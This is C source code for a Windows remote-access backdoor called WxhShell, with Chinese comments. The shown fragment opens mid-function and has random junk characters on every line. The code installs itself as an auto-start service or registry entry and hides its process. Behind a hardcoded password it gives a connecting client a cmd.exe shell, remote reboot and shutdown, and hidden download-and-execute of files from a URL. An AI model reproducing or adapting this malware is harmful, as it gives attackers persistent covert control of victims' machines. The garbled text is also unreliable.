    if(Boot(SHUTDOWN)) Kf<-PA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AR i_m  
    else { fA!uSqR$V  
    closesocket(wsh); jlV~-}QKb7  
    ExitThread(0); h2 2-v X  
    } T-)Ur/qp  
    break; @;iW)a_M  
    } 6% @@~"  
  // 获取shell }+K SZ,  
  case 's': { n{dl- P  
    CmdShell(wsh); fLj#+h-!  
    closesocket(wsh); t{\FV@R  
    ExitThread(0); TbqED\5@9w  
    break; bDa(@QJ-  
  } #{)=%5=c  
  // 退出 =} Np0UP  
  case 'x': { )1%l$W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); / vI sX3v  
    CloseIt(wsh); J G xuB*}  
    break; PiMW 29B^  
    } PpPg ~ix*  
  // 离开  )_P|_(  
  case 'q': { sgdxr!1?y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -hav/7g  
    closesocket(wsh); Y_3 {\g|x  
    WSACleanup(); ozZW7dveU  
    exit(1); $=7[.z&  
    break; / AFn8=9'^  
        } 58"Cn ||tF  
  } ]de'v  
  } #<V/lPz+  
c <8s \2  
  // 提示信息 xEN""*Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &ah!g!o3  
} ;/$=!9^sZ  
  } D2o,K&V  
3fJ GJW!zu  
  return; f>k<I[C<  
} ]iewukB4  
isaDIl;L/  
// shell模块句柄 NIcPjo  
int CmdShell(SOCKET sock) xS%Z   
{ T^3_d93}d  
STARTUPINFO si; XK[cbVu  
ZeroMemory(&si,sizeof(si)); zKr\S |yE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hi$J@xU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T/DKT1P-  
PROCESS_INFORMATION ProcessInfo; A`Vz5WB  
char cmdline[]="cmd"; 8OoKP4,;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;Wa4d`K  
  return 0; aZt5/|B  
} 8RJXY:%  
1 "'t5?XW  
// 自身启动模式 t|Cp<k]B  
int StartFromService(void) uGIA4CUm  
{ 1!,xB]v1Ri  
typedef struct 3.M<ATe^  
{ :<ye:P1s  
  DWORD ExitStatus; %|L+~=  
  DWORD PebBaseAddress; B#RwW,  
  DWORD AffinityMask; Az.(tJ X"  
  DWORD BasePriority; 5z8CUDt 0  
  ULONG UniqueProcessId; n?vw|'(}  
  ULONG InheritedFromUniqueProcessId; '_& Xemz  
}   PROCESS_BASIC_INFORMATION; q<mDs$^K  
/t=R~BJu  
PROCNTQSIP NtQueryInformationProcess; )N`a4p  
uK6`3lCD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +}H2|vP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lub(chCE[  
_5'OQ'P2  
  HANDLE             hProcess; RIBj9kd  
  PROCESS_BASIC_INFORMATION pbi; OfC0lb:c  
s&MfC\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U4]>8L  
  if(NULL == hInst ) return 0; _=9o:F  
EoM}Co  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KI~BjP\e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }oH A@o5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '@)47]~  
<11pk  
  if (!NtQueryInformationProcess) return 0; UxI0Of&:  
[MfKBlA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,7:_M> -3g  
  if(!hProcess) return 0; qkB)CY7  
PjriAlxD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <Cc}MDM604  
@vWf-\  
  CloseHandle(hProcess); nQ4s  
@!z9.o;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VT1Nd  
if(hProcess==NULL) return 0; M`!\$D  
x&qC~F*QR%  
HMODULE hMod; Jolr"F?  
char procName[255]; rYUhGmg`  
unsigned long cbNeeded; ^:g8mt  
tFLdBv!=:^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |_Vi8Ly  
zlC|Spaf  
  CloseHandle(hProcess); Afm GA9  
pC 5J '@  
if(strstr(procName,"services")) return 1; // 以服务启动 }HB)%C50.  
C%8nr8 po  
  return 0; // 注册表启动 >5C|i-HX  
} $ 2'AY  
`$j"nP F_  
// 主模块 ~A<1xszC  
int StartWxhshell(LPSTR lpCmdLine) b|F_]i T  
{ \DsP '-t  
  SOCKET wsl; .]+Z<5Fo  
BOOL val=TRUE; !yAg!V KY  
  int port=0; ~~eR,HYk  
  struct sockaddr_in door; iHy=92/Ww  
!~5;Jb>s[/  
  if(wscfg.ws_autoins) Install(); Bw2-4K\"kc  
D<9FSxl6  
port=atoi(lpCmdLine); l$KC\$?%*  
5:(uD3]  
if(port<=0) port=wscfg.ws_port; b X.S`  
a f[<[2pma  
  WSADATA data; S;DqM;Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )-$Od2u2c  
9-)D"ZhLe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]k~k6#),;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GtcY){7  
  door.sin_family = AF_INET; VfAC&3 %M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gf/$M[H!   
  door.sin_port = htons(port); @QiuCB  
( )1\b  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y<%)Im6v/  
closesocket(wsl); ;ru=z@  
return 1; f\+MnZ4[Qj  
} iB#xUSkS  
dL%?k@R  
  if(listen(wsl,2) == INVALID_SOCKET) { R$( FrbC  
closesocket(wsl); o33 wePx,  
return 1; C?6wIdp  
} J#DYZ>}Y  
  Wxhshell(wsl); 6XyhOs%/  
  WSACleanup(); }RX[J0Prq~  
L&3Ak}sh  
return 0; &Rw4ub3  
ql, k5.l  
} !yAlb#yu  
0ut/ ')[  
// 以NT服务方式启动 ;Awt:jF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5B3S]@%  
{ 3 @XkO  
DWORD   status = 0; ! 6yo D  
  DWORD   specificError = 0xfffffff; 6gz !K"S  
.&O}/B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {+~}iF<%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s=0z%~H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -*8|J;  
  serviceStatus.dwWin32ExitCode     = 0; 9\9:)q  
  serviceStatus.dwServiceSpecificExitCode = 0; w"Gci~]bXU  
  serviceStatus.dwCheckPoint       = 0; 4/Ub%t -  
  serviceStatus.dwWaitHint       = 0; MY>mP  
SV%;w>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EA.4 m3  
  if (hServiceStatusHandle==0) return; LE^kN<qMK  
W]E6<y'  
status = GetLastError(); ,B|~V 3)(  
  if (status!=NO_ERROR) 7x8/Vz@\  
{ oujg( ^E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |F)BKo D  
    serviceStatus.dwCheckPoint       = 0;  ismx evD  
    serviceStatus.dwWaitHint       = 0; E^kB|; Ki  
    serviceStatus.dwWin32ExitCode     = status; \"!Fw)wj  
    serviceStatus.dwServiceSpecificExitCode = specificError; vmW > $P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yVQ0;h  
    return; IC&>PwXb  
  } (> O'^W\3p  
P|,@En 1!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'Fi\Qk'D@  
  serviceStatus.dwCheckPoint       = 0; jWHv9XtW  
  serviceStatus.dwWaitHint       = 0; C3EQz r`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ktlI(#\%  
} N y_d  
JJ\|FZ N  
// 处理NT服务事件,比如:启动、停止 e UMOV]h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -4du`dg  
{ \;&WF1d`ac  
switch(fdwControl) pVgzUu7  
{ ;a@%FWc  
case SERVICE_CONTROL_STOP: d/I,`  
  serviceStatus.dwWin32ExitCode = 0; aLZza"W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uE{r09^q\  
  serviceStatus.dwCheckPoint   = 0; ~qFuS933  
  serviceStatus.dwWaitHint     = 0; gaFOm9y.e  
  { ?N*m2rv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E= 3Ui  
  } -/ 5" Py  
  return; l":\@rm`  
case SERVICE_CONTROL_PAUSE: M<h2+0(il  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fTb&k;'LR<  
  break; #mhR^60,  
case SERVICE_CONTROL_CONTINUE: 7l Q@I}i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NDsF<2A4  
  break; X2CpA;#;7l  
case SERVICE_CONTROL_INTERROGATE: ~mAv)JK  
  break; vjNP  
}; jz CA2N%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n*twuB/P 1  
} '3B"@^]  
ft |W  
// 标准应用程序主函数 alr'If@7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .g Z1}2GF=  
{ yU ?TdM\  
hnOo T? V  
// 获取操作系统版本 IRWVoCc9/\  
OsIsNt=GetOsVer(); p7H0|>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g!/O)X3  
Ife/:v  
  // 从命令行安装 D==C"}J  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6ZvGD}/  
v#/k`x\  
  // 下载执行文件 l1_hD ,4  
if(wscfg.ws_downexe) { {lv@V*_Y0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jU~q~e7Te  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,O`a_b]  
} KK-}&N8  
VsIDd}~C%  
if(!OsIsNt) { Y52f8qQq  
// 如果时win9x,隐藏进程并且设置为注册表启动 {|!> {  
HideProc(); 2%!yV~Z  
StartWxhshell(lpCmdLine); r.WQ6h/eZ5  
} Fa ]|Y  
else EA# {N<  
  if(StartFromService()) ^l;N;5L  
  // 以服务方式启动 iX]tL:,~i  
  StartServiceCtrlDispatcher(DispatchTable); LN=6u  
else qYba%g9RN(  
  // 普通方式启动 x:wv#Wh:l7  
  StartWxhshell(lpCmdLine); B EN U  
Q)mYy  
return 0; TR7j`?  
} Pk2=*{:W  
Y6+/_$N4|  
(FVHtZi7  
H\r- ;,&  
=========================================== @$G{t^&os  
Ms>CO7Nvy  
3UR'*5|'  
Bp:PAy  
$kAal26z  
3Gk\3iU!  
" Z'!Ii+'6  
pB(|Y]3A  
#include <stdio.h> =lb5 #  
#include <string.h> }Od=WQv+  
#include <windows.h> oy[>`qyz  
#include <winsock2.h> AHB_[i'>7  
#include <winsvc.h> z^,P2kqK_  
#include <urlmon.h> %fJ~ 3mu  
_P}wO8  
#pragma comment (lib, "Ws2_32.lib") >;^t)6  
#pragma comment (lib, "urlmon.lib") /#Fz K  
K=K]R01/o  
#define MAX_USER   100 // 最大客户端连接数 4tA`,}ywPq  
#define BUF_SOCK   200 // sock buffer P 7`RAz  
#define KEY_BUFF   255 // 输入 buffer O3/w@q Q  
$cSmubZK  
#define REBOOT     0   // 重启 }uFV\1  
#define SHUTDOWN   1   // 关机 \281X  
ka c-@  
#define DEF_PORT   5000 // 监听端口 i;l0)q  
/#Gm`BT  
#define REG_LEN     16   // 注册表键长度 5K#<VU*:  
#define SVC_LEN     80   // NT服务名长度 )\PPIY>iP  
qk}Mb_*C)  
// 从dll定义API z*ly`-!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D~Rv"Hh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tebu?bj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `ElJL{Rn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,DIr&5>p2  
[wkSY>Gu  
// wxhshell配置信息 q.:j yj6  
struct WSCFG { vp|.x |@  
  int ws_port;         // 监听端口 +*`>7m<^  
  char ws_passstr[REG_LEN]; // 口令 k*u4N  
  int ws_autoins;       // 安装标记, 1=yes 0=no M+l~^E0Wj  
  char ws_regname[REG_LEN]; // 注册表键名 P[K42 mm  
  char ws_svcname[REG_LEN]; // 服务名 y F;KyY{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =WEWs4V5A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TQL_K8k@_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P;bOtT --  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wl N l|+ K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b O9PpOk+z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O*lMIWx  
HO}eu  
}; v"x'rx#  
Bk;/>gD  
// default Wxhshell configuration H tx)MEZ  
struct WSCFG wscfg={DEF_PORT, fn3DoD+I  
    "xuhuanlingzhe", /P[@o  
    1, @W.0YU0|J  
    "Wxhshell", 2{A/Fbk  
    "Wxhshell", l\6.f_  
            "WxhShell Service", dTVh{~/  
    "Wrsky Windows CmdShell Service", R^VmNj  
    "Please Input Your Password: ", Ae8P'FWB>  
  1, [A'9sxG  
  "http://www.wrsky.com/wxhshell.exe", ijeas<  
  "Wxhshell.exe" $wm8N.I3I  
    }; K<vb4!9Z9  
G\C>fwrP_  
// 消息定义模块 0?w4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AVO$R\1YR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {C'9?4&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7<zI'^l  
char *msg_ws_ext="\n\rExit."; Ksb55cp`  
char *msg_ws_end="\n\rQuit."; ;\54(x}|K  
char *msg_ws_boot="\n\rReboot..."; z)fg>?AGr  
char *msg_ws_poff="\n\rShutdown..."; [&5%$ T  
char *msg_ws_down="\n\rSave to "; {(5M)|>  
RD6`b_]o  
char *msg_ws_err="\n\rErr!"; 83pXj=k<  
char *msg_ws_ok="\n\rOK!"; |IZFWZd  
um=qT)/D  
char ExeFile[MAX_PATH]; |>dqZ_)v  
int nUser = 0; H|8i|vbi  
HANDLE handles[MAX_USER]; GmdS~Fhp  
int OsIsNt; ia*Bcx_RW+  
h,x'-]q  
SERVICE_STATUS       serviceStatus; O[5u6heNMr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JL=s=9N;3  
8z`Ne(h;  
// 函数声明 df8aM<&m3  
int Install(void); vq8&IL  
int Uninstall(void); X8~gLdv8  
int DownloadFile(char *sURL, SOCKET wsh); I,7n-G_'  
int Boot(int flag); PS/00F/Ak  
void HideProc(void); v"V?  
int GetOsVer(void); ~+&Z4CYb  
int Wxhshell(SOCKET wsl); n_ S)9C'=  
void TalkWithClient(void *cs); pP*`b<|  
int CmdShell(SOCKET sock); %0lJ(hm  
int StartFromService(void); yL"pzD`[H  
int StartWxhshell(LPSTR lpCmdLine); 9V?:!%J  
,K8(D<{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =P`l+k3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yr q){W  
+<7a$/L?4  
// 数据结构和表定义 lQt* LWd[  
SERVICE_TABLE_ENTRY DispatchTable[] = _<7e5VR  
{ ;#n+$Q#:  
{wscfg.ws_svcname, NTServiceMain}, L=)Arj@q  
{NULL, NULL} X0BBJ(e  
}; Vbp`Rm1?  
[' cq  
// 自我安装 (k<__W c_t  
int Install(void) (T8dh|  
{ dL|*#e  
  char svExeFile[MAX_PATH]; f1RX`rXf  
  HKEY key; JAS!eF  
  strcpy(svExeFile,ExeFile); ; 2Za]%'  
*v0}S5^ /"  
// 如果是win9x系统,修改注册表设为自启动 89l{h8R  
if(!OsIsNt) { T]y^PT<8?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C^9bur/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); la*c/*  
  RegCloseKey(key); (nt=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q|xic>.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )kt,E}609  
  RegCloseKey(key); `dm}|$X|  
  return 0; $?dutbE  
    } KO&oT#S  
  } ]V.0%Ccw;.  
} xYD.j~  
else { vj+ S  
Qh!h "]  
// 如果是NT以上系统,安装为系统服务 (7?jjH^4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I>%@[h,+  
if (schSCManager!=0) { GKqOu  
{ rEY5,'?YHv  
  SC_HANDLE schService = CreateService lPOcX'3\  
  ( =7 ${bp!  
  schSCManager, 5}he)2*uD  
  wscfg.ws_svcname, }8?1)l  
  wscfg.ws_svcdisp, &J}w_BFww  
  SERVICE_ALL_ACCESS,  &&sCaNb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XZ1WY(  
  SERVICE_AUTO_START, zR6^rq*  
  SERVICE_ERROR_NORMAL, % #-'|~  
  svExeFile, Q??nw^8Hi  
  NULL, \ 0aa0=  
  NULL, Q\{$&0McF  
  NULL, a!*K)x,"<  
  NULL, i~;Yrc%AEX  
  NULL <|c[ #f  
  ); r^$WX@ t&  
  if (schService!=0) $ZfoJR]%  
  { RMO6kbfP  
  CloseServiceHandle(schService); %N0cp@Vz  
  CloseServiceHandle(schSCManager); M$+2f.(>k)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y|y X]\,  
  strcat(svExeFile,wscfg.ws_svcname); V;>u()  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E@D}Sqt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q3$;lLsb;j  
  RegCloseKey(key); wwh)B92Y5  
  return 0; e= w.7DSE  
    } TP?HxO_C  
  } N cnL-k.  
  CloseServiceHandle(schSCManager); 23Juu V.  
} mZb[Fi  
} z\r|5Z  
*u?N{LkqS  
return 1; [I4&E >  
} c&u~M=EW  
J<=k [Q  
// 自我卸载 iJem9XXb  
int Uninstall(void) oar`xH$C  
{ X/-u$c  
  HKEY key; Q2HULz{  
b.sRB1  
if(!OsIsNt) { eK'ztqQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m-)yQM8  
  RegDeleteValue(key,wscfg.ws_regname); *w_f-YoXp  
  RegCloseKey(key); Oa#m}b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mg}8 3kS  
  RegDeleteValue(key,wscfg.ws_regname); ? bnhx  
  RegCloseKey(key); 4.}J'3 .  
  return 0; z 8\;XR  
  } Ss c3uo0  
} 2$%E:J+2:$  
} @N,I}_9-  
else { okv`v ({  
Fu6~8uDV{{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CxW-lU3G`  
if (schSCManager!=0) 7d"gRM;  
{ >djTJ>dl_u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rr3<ln  
  if (schService!=0) k| Ye[GM*  
  { hY-;Vh0J  
  if(DeleteService(schService)!=0) { SFRQpQ06  
  CloseServiceHandle(schService); pu9ub.  
  CloseServiceHandle(schSCManager); Bh*7uNM  
  return 0; Lr}>Md  
  } xBW{Wyh  
  CloseServiceHandle(schService); 6pi^rpo  
  } x0dO ^D  
  CloseServiceHandle(schSCManager); Nq=r404  
} #}U*gVYe  
} ^lYa9k  
1L:sck5k  
return 1; +Xjevg6DU  
} gjnTG:}}}+  
_ZD8/?2QV  
// 从指定url下载文件 T($6L7 j9  
int DownloadFile(char *sURL, SOCKET wsh) N&'05uWY}  
{ M,j3z #  
  HRESULT hr; h,WF'X+  
char seps[]= "/"; }9,^=g-  
char *token; A/+bwCDP  
char *file; _]~= Kjp  
char myURL[MAX_PATH]; jQLiqi`  
char myFILE[MAX_PATH]; %.+#e  
=fZMute  
strcpy(myURL,sURL); >84:1 `  
  token=strtok(myURL,seps); P-c<[DSM'I  
  while(token!=NULL) 3~&h9#7 Ke  
  { :4, OA  
    file=token; DHnu F@M  
  token=strtok(NULL,seps); _[_mmf1;:'  
  } @g~hYc  
W nLMa|e  
GetCurrentDirectory(MAX_PATH,myFILE); [~_()i=Y  
strcat(myFILE, "\\"); $pO gFA1'  
strcat(myFILE, file); +bv-!rf  
  send(wsh,myFILE,strlen(myFILE),0); 4fp]z9Y  
send(wsh,"...",3,0); js#72T/_n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L&s|<<L  
  if(hr==S_OK) 1 6N+  
return 0; WMw]W&  
else 4`Z8EV  
return 1; |-SImxV  
*MBu5 +u%e  
} KnjowK  
4v("qNw#  
// 系统电源模块 }co*%F{1  
int Boot(int flag) RN0=jo!58  
{ Z<,$Xv L  
  HANDLE hToken; OKH4n/pq  
  TOKEN_PRIVILEGES tkp; MPg"n-g*  
ao(lj  
  if(OsIsNt) { CS<,qvLpL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }F~4+4B^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mm,be.  
    tkp.PrivilegeCount = 1; It .`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lIlmXjL0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a7Fc"s*  
if(flag==REBOOT) { 6]*~!al?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ueM[&:g&MU  
  return 0; e<;^P(g`E  
} 68k  
else { _,m|gr ,S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XA*sBf  
  return 0; #~Z55 D_  
} !y{t}|U/d  
  } wC~ra:/?:7  
  else { 4tb y N  
if(flag==REBOOT) { q0l=S+0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aN/0'V|&ym  
  return 0; }wh sZ  
} =/b WS,=  
else { g;Lk 'Ky6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j$z<wR7j0  
  return 0; '.mHx#?7  
} 0;bi*2U  
} RTgR>qI&)  
| <q9Ee  
return 1; gPu0j4&-  
} JXBTd=r_oM  
#cRw0bn:  
// win9x进程隐藏模块 7oK7f=*Q  
void HideProc(void) :+m8~n$/  
{ B?G!~lQ)o  
nbGB84  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #`>46T  
  if ( hKernel != NULL ) #s-^4znv9  
  { fuQb h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HaUfTQ8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZM~kc|&  
    FreeLibrary(hKernel); PU6Sa-fQ2,  
  } APC,p,"  
BV8-\R@  
return; ?1G7=R  
} 79?%g=#=  
EMV<PshW=  
// 获取操作系统版本 w!=Fi  
int GetOsVer(void) p? dXs^ c  
{ *+-L`b{SX  
  OSVERSIONINFO winfo; TC=djC4$/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o?Wp[{K  
  GetVersionEx(&winfo); h5:>o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m\}8N u  
  return 1; EP|OKXRltA  
  else %L\buwjy$  
  return 0; *r&q;ER  
} },d`<^~  
XU3v#Du  
// 客户端句柄模块 .5;Xd?  
int Wxhshell(SOCKET wsl) s L9,+  
{ >Y h7By  
  SOCKET wsh; 1%;o-F@  
  struct sockaddr_in client; :UyNa0$l:"  
  DWORD myID; ):Vzv  
JE<zQf(&  
  while(nUser<MAX_USER) Zy>iaG9}  
{ i09w(k?  
  int nSize=sizeof(client); 4|Wg lri  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H.D1|sU  
  if(wsh==INVALID_SOCKET) return 1; f~RS[h`:  
y~w -z4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e+!+(D  
if(handles[nUser]==0) D?v)Xqw=  
  closesocket(wsh); Q bg,q  
else $8{|25 *E  
  nUser++; QEavbh^S  
  } @-~ )M_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q UQ"2oC  
qNLG-m,n<  
  return 0; :< )"G&  
} q]-CTx$  
j#C1+Us  
// 关闭 socket b&y"[1`  
void CloseIt(SOCKET wsh) DRBRs-D  
{ +0,{gDd+  
closesocket(wsh); u]B15mT?  
nUser--; Tk^J#};N  
ExitThread(0); 5i+0GN3nd  
} \uumNpB*n  
f?ImQYqP  
// 客户端请求句柄 nZfU:N  
void TalkWithClient(void *cs) <*g!R!  
{ b;N[_2  
k k&8:;Vj  
  SOCKET wsh=(SOCKET)cs; g=*`6@_=  
  char pwd[SVC_LEN]; _:: q S!  
  char cmd[KEY_BUFF]; rc*iL   
char chr[1]; 1|?8g2Vf  
int i,j; h"7:&=e  
PJ=N.x f}  
  while (nUser < MAX_USER) { N(%%bHi#V  
ii.L]#3y  
if(wscfg.ws_passstr) { bN ,>,hj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aAlES< r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LIo3a38n?y  
  //ZeroMemory(pwd,KEY_BUFF); hdw-gem{?  
      i=0; B]`!L/  
  while(i<SVC_LEN) { CDy *8<-&  
/D]V3|@E  
  // 设置超时 X"hoDg  
  fd_set FdRead; sG/mmZHYzr  
  struct timeval TimeOut; 9(9+h]h+3  
  FD_ZERO(&FdRead); .%.kEJh`  
  FD_SET(wsh,&FdRead); JJ50(h)U  
  TimeOut.tv_sec=8; ]%{.zl!  
  TimeOut.tv_usec=0; x2#5"/~4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); arCi$:-z@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !J5k?J&{=  
X#qm wcF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J3]W2m2Zw  
  pwd=chr[0]; 5}4f[   
  if(chr[0]==0xd || chr[0]==0xa) { W>ziA  
  pwd=0; {*=+g>R gD  
  break; UBmD 3|Zo  
  } re\@v8w~  
  i++; jm-J_o;}z6  
    } QF  P3S(  
c]#+W@$  
  // 如果是非法用户,关闭 socket `5[$8;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q^&oXM'x/i  
} 5wy1%/;  
hPC t-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bf72 .gx{0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0{ZYYB&"~J  
BFU6?\r  
while(1) { g> lJZD@  
m15MA.R>  
  ZeroMemory(cmd,KEY_BUFF); fn%Gu s~  
u|!On  
      // 自动支持客户端 telnet标准   0ssKZ9Lc  
  j=0; *V\z]Dy-[  
  while(j<KEY_BUFF) { /Hox]r]'e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iqzl(9o.D  
  cmd[j]=chr[0]; sr0.4VU1  
  if(chr[0]==0xa || chr[0]==0xd) { F{#m~4O  
  cmd[j]=0; LQ,RQ~!  
  break; U4DQ+g(A  
  } 0WasE1t|  
  j++; [-Zp[  
    } E+Jh4$x {  
4G:I VK9  
  // 下载文件 ~?V+^<P  
  if(strstr(cmd,"http://")) { ?_\t7f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >^1|Mg/!>  
  if(DownloadFile(cmd,wsh)) Oz\mIVC#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Xu?/yd  
  else &1O!guq%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Tgl/}q)  
  } dXkgWLI~  
  else { 4?#0fK  
u!k]Q#2ZR  
    switch(cmd[0]) { <b-BJ2],k  
  ~s}0z&v^te  
